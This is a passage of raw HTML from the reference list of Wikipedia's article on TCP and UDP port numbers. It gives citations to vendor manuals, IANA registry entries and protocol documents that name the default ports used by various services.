href=\"https://web.archive.org/web/20170409093602/http://manuals.playstation.net/document/en/ps4/settings/nw_test.html\">Archived</a> from the original on 2017-04-09<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-04-09</span></span>. <q>...&#160;refer to the port numbers listed below, which are used when you connect your PS4™ system to a PlayStation™Network server.<div><ul><li>TCP: 80, 443, 3478, 3479, 3480</li><li>UDP: 3478, 3479</li></ul></div>&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Test+Internet+Connection&amp;rft.btitle=PlayStation%C2%AE4+User%27s+Guide&amp;rft_id=http%3A%2F%2Fmanuals.playstation.net%2Fdocument%2Fen%2Fps4%2Fsettings%2Fnw_test.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-195\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-195\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://in.godaddy.com/help/troubleshoot-connecting-to-my-workspace-email-account-319\">\"Using Microsoft Outlook Express with Your Email &#124; Go Daddy Help &#124; Go Daddy Support\"</a>. Help.godaddy.com. 2013-09-18<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Using+Microsoft+Outlook+Express+with+Your+Email+%26%23124%3B+Go+Daddy+Help+%26%23124%3B+Go+Daddy+Support&amp;rft.pub=Help.godaddy.com&amp;rft.date=2013-09-18&amp;rft_id=https%3A%2F%2Fin.godaddy.com%2Fhelp%2Ftroubleshoot-connecting-to-my-workspace-email-account-319&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-196\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-196\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.apcupsd.org/manual/#configure-options\">\"APCUPSD User Manual\"</a>. www.apcupsd.org. 2016-05-31<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-08-22</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=APCUPSD+User+Manual&amp;rft.pub=www.apcupsd.org&amp;rft.date=2016-05-31&amp;rft_id=http%3A%2F%2Fwww.apcupsd.org%2Fmanual%2F%23configure-options&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-197\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-197\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://archive.sap.com/kmuuid2/4e515a43-0e01-0010-2da1-9bcc452c280b/TCPIP%20Ports%20used%20by%20SAP%20Applications.pdf\">\"TCP/IP Ports Used by SAP Applications\"</a> <span class=\"cs1-format\">(PDF)</span>. archive.sap.com. 2009-04-09<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-08-20</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=TCP%2FIP+Ports+Used+by+SAP+Applications&amp;rft.pub=archive.sap.com&amp;rft.date=2009-04-09&amp;rft_id=https%3A%2F%2Farchive.sap.com%2Fkmuuid2%2F4e515a43-0e01-0010-2da1-9bcc452c280b%2FTCPIP%2520Ports%2520used%2520by%2520SAP%2520Applications.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-198\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-198\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20080612215654/http://www-306.ibm.com/software/data/u2/\">\"IBM U2 product family\"</a>. IBM. 2009-10-01. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www-306.ibm.com/software/data/u2/\">the original</a> on June 12, 2008<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IBM+U2+product+family&amp;rft.pub=IBM&amp;rft.date=2009-10-01&amp;rft_id=http%3A%2F%2Fwww-306.ibm.com%2Fsoftware%2Fdata%2Fu2%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-EDU-120_10-199\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-EDU-120_10_199-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-EDU-120_10_199-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-EDU-120_10_199-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://paloaltonetworks.csod.com/lms/scorm/clientLMS/ScormFrames.aspx?aicc_sid=AICCtP8IlKU02iyiq5x69aoxTn3gb2ablaT5IehmaW8kXXk&amp;aicc_url=https://paloaltonetworks.csod.com/LMS/scorm/aicc.aspx\">\"EDU-120: Panorama Design, Troubleshooting\"</a>. <i>paloaltonetworks.csod.com</i>. Palo Alto Networks<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">9 September</span> 2020</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=paloaltonetworks.csod.com&amp;rft.atitle=EDU-120%3A+Panorama+Design%2C+Troubleshooting&amp;rft_id=https%3A%2F%2Fpaloaltonetworks.csod.com%2Flms%2Fscorm%2FclientLMS%2FScormFrames.aspx%3Faicc_sid%3DAICCtP8IlKU02iyiq5x69aoxTn3gb2ablaT5IehmaW8kXXk%26aicc_url%3Dhttps%3A%2F%2Fpaloaltonetworks.csod.com%2FLMS%2Fscorm%2Faicc.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-200\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-200\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://tintin.sourceforge.net/manual/chat.php\">\"TinTin++ Mud Client Manual - Chat Protocol\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=TinTin%2B%2B+Mud+Client+Manual+-+Chat+Protocol&amp;rft_id=http%3A%2F%2Ftintin.sourceforge.net%2Fmanual%2Fchat.php&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-201\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-201\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/draft-hath****-minger-06#section-2\">\"IETF Draft of the Minger Email Address Verification Protocol\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IETF+Draft+of+the+Minger+Email+Address+Verification+Protocol&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Fdraft-hath%2A%2A%2A%2A-minger-06%23section-2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-202\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-202\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/jhautry/echo-dot\">\"Breaking the Echo Dot project for the IASC 4580 Capstone Course\"</a>. James Autry on Github. 15 May 2021.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Breaking+the+Echo+Dot+project+for+the+IASC+4580+Capstone+Course&amp;rft.pub=James+Autry+on+Github&amp;rft.date=2021-05-15&amp;rft_id=https%3A%2F%2Fgithub.com%2Fjhautry%2Fecho-dot&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-203\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-203\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=4190\">\"Service Name and Transport Protocol Port Number Registry\"</a>. Iana.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=Iana.org&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D4190&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-204\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-204\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/rarcher/Couch-Potato-Server/blob/master/Communications%20Protocol/src/codes/soloware/couchpotato/settings/Network.java\">\"Couch-Potato-Server/Network.java at master · rarcher/Couch-Potato-Server\"</a>. <i><a href=\"/wiki/GitHub\" title=\"GitHub\">GitHub</a></i>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=GitHub&amp;rft.atitle=Couch-Potato-Server%2FNetwork.java+at+master+%C2%B7+rarcher%2FCouch-Potato-Server&amp;rft_id=https%3A%2F%2Fgithub.com%2Frarcher%2FCouch-Potato-Server%2Fblob%2Fmaster%2FCommunications%2520Protocol%2Fsrc%2Fcodes%2Fsoloware%2Fcouchpotato%2Fsettings%2FNetwork.java&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-205\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-205\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://nats.io/documentation/tutorials/gnatsd-install/\">\"Install and Run NATS Server\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Install+and+Run+NATS+Server&amp;rft_id=http%3A%2F%2Fnats.io%2Fdocumentation%2Ftutorials%2Fgnatsd-install%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-orthanc-book-configuration-206\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-orthanc-book-configuration_206-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-orthanc-book-configuration_206-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://book.orthanc-server.com/users/configuration.html\">\"Configuration of Orthanc\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://book.orthanc-server.com/\"><i>Orthanc Book</i></a>. 2017 [First published 2015]. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170212134127/http://book.orthanc-server.com/users/configuration.html\">Archived</a> from the original on 2017-02-12<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>. <q>...&#160;The default configuration file would: <div><ul><li>Create a DICOM server with the DICOM AET (Application Entity Title) <code>ORTHANC</code> that listens on the port 4242.</li><li>Create a HTTP server for the REST API that listens on the port 8042.</li></ul></div>&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Configuration+of+Orthanc&amp;rft.btitle=Orthanc+Book&amp;rft.date=2017&amp;rft_id=http%3A%2F%2Fbook.orthanc-server.com%2Fusers%2Fconfiguration.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-207\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-207\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20140219001537/http://docs.docker.io/en/latest/use/basics/\">\"First steps with Docker\"</a>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://docs.docker.io/en/latest/use/basics/\">the original</a> on 2014-02-19.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=First+steps+with+Docker&amp;rft_id=http%3A%2F%2Fdocs.docker.io%2Fen%2Flatest%2Fuse%2Fbasics%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-viber-208\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-viber_208-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-viber_208-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-viber_208-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-viber_208-3\"><sup><i><b>d</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.viber.com/customer/portal/articles/1506350-opening-ports-for-viber-desktop\">\"Opening ports for Viber Desktop\"</a>. <i>Viber</i>. Viber Media S.à r.l<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">13 June</span> 2016</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Viber&amp;rft.atitle=Opening+ports+for+Viber+Desktop&amp;rft_id=https%3A%2F%2Fsupport.viber.com%2Fcustomer%2Fportal%2Farticles%2F1506350-opening-ports-for-viber-desktop&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-209\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-209\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=4307\">\"Service Name and Transport Protocol Port Number Registry\"</a>. <i>www.iana.org</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-03-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=www.iana.org&amp;rft.atitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D4307&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-210\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-210\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFWilliamsonKostersBlackaSingh1997\" class=\"citation journal cs1\">Williamson, S.; Kosters, M.; Blacka, D.; Singh, J.; Zeilstra, K. (1997). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc2167\">\"RFC 2167, Referral Whois (RWhois) Protocol\"</a>. IETF. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC2167\">10.17487/RFC2167</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.atitle=&#82;FC+2167%2C+Referral+Whois+%28RWhois%29+Protocol&amp;rft.date=1997&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC2167&amp;rft.aulast=Williamson&amp;rft.aufirst=S.&amp;rft.au=Kosters%2C+M.&amp;rft.au=Blacka%2C+D.&amp;rft.au=Singh%2C+J.&amp;rft.au=Zeilstra%2C+K.&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc2167&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span> <span class=\"cs1-hidden-error citation-comment\"><code class=\"cs1-code\">{{<a href=\"/wiki/Template:Cite_journal\" title=\"Template:Cite journal\">cite journal</a>}}</code>: </span><span class=\"cs1-hidden-error citation-comment\">Cite journal requires <code class=\"cs1-code\">&#124;journal=</code> (<a href=\"/wiki/Help:CS1_errors#missing_periodical\" title=\"Help:CS1 errors\">help</a>)</span></span>\n</li>\n<li id=\"cite_note-211\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-211\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://blog.rapid7.com/2012/06/01/metasploit-exploit-failed-how-to-test-if-metasploit-is-working/\">\"Can't Exploit Machines? A Metasploit Troubleshooting How To\"</a>. Rapid7. June 2012<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-07-07</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Can%27t+Exploit+Machines%3F+A+Metasploit+Troubleshooting+How+To&amp;rft.pub=Rapid7&amp;rft.date=2012-06&amp;rft_id=https%3A%2F%2Fblog.rapid7.com%2F2012%2F06%2F01%2Fmetasploit-exploit-failed-how-to-test-if-metasploit-is-working%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-eMule-212\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-eMule_212-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-eMule_212-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-eMule_212-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.emule-project.net/home/perl/help.cgi?l=1&amp;topic_id=122&amp;rm=show_topic\">\"eMule Ports\"</a>. Emule-project.net. 2007-05-16<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=eMule+Ports&amp;rft.pub=Emule-project.net&amp;rft.date=2007-05-16&amp;rft_id=http%3A%2F%2Fwww.emule-project.net%2Fhome%2Fperl%2Fhelp.cgi%3Fl%3D1%26topic_id%3D122%26rm%3Dshow_topic&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-SANS-213\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-SANS_213-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://isc.sans.edu/port.html?port=4728\">\"Port Details - Port 4728\"</a>. SANS.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Port+Details+-+Port+4728&amp;rft.pub=SANS&amp;rft_id=http%3A%2F%2Fisc.sans.edu%2Fport.html%3Fport%3D4728&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-draytek-support-5365-214\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-draytek-support-5365_214-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.draytek.com/support/knowledge-base/5365\">\"Get the DSL Information from the Vigor130 on WAN\"</a>. Support. <i>DrayTek</i>. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20200407072254/https://www.draytek.com/support/knowledge-base/5365\">Archived</a> from the original on 2020-04-07<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-04-07</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=DrayTek&amp;rft.atitle=Get+the+DSL+Information+from+the+Vigor130+on+WAN&amp;rft_id=https%3A%2F%2Fwww.draytek.com%2Fsupport%2Fknowledge-base%2F5365&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-auto-215\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-auto_215-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.flightgear.org/Howto:_Multiplayer\">\"FlightGear Howto: Multiplayer\"</a>. flightgear.org<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=FlightGear+Howto%3A+Multiplayer&amp;rft.pub=flightgear.org&amp;rft_id=http%3A%2F%2Fwiki.flightgear.org%2FHowto%3A_Multiplayer&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-216\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-216\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.docker.com/registry/configuration/\">\"Configuring a registry\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.docker.com/registry/\"><i>Docker Registry</i></a>. <a href=\"/wiki/Docker,_Inc.\" title=\"Docker, Inc.\">Docker, Inc.</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20181119225841/https://docs.docker.com/registry/configuration/\">Archived</a> from the original on 2018-11-19<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-01-14</span></span> &#8211; via Docker Documentation. <q>...&#160;When using Let's Encrypt, ensure that the outward-facing address is accessible on port <code>443</code>. The registry defaults to listening on port <code>5000</code>.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Configuring+a+registry&amp;rft.btitle=Docker+Registry&amp;rft.pub=Docker%2C+Inc.&amp;rft_id=https%3A%2F%2Fdocs.docker.com%2Fregistry%2Fconfiguration%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-217\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-217\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170608235717/https://www.mitn.info/xfer/PublicSolicitation_Docs/SDIR%7E142085/2%2DATT%20U%2Dverse%20Encoder%20Requirements.pdf\">\"PEG Specifications\"</a> <span class=\"cs1-format\">(PDF)</span>. <i>Michigan Inter-governmental Trade Network</i>. Jan 2015. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://www.mitn.info/xfer/PublicSolicitation_Docs/SDIR~142085/2-ATT%20U-verse%20Encoder%20Requirements.pdf\">the original</a> <span class=\"cs1-format\">(PDF)</span> on 2017-06-08<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">8 June</span> 2017</span>. <q>...&#160;TCP port 5000 shall be configured and open inbound through firewalls to the encoder.&#160;...</q></cite><span 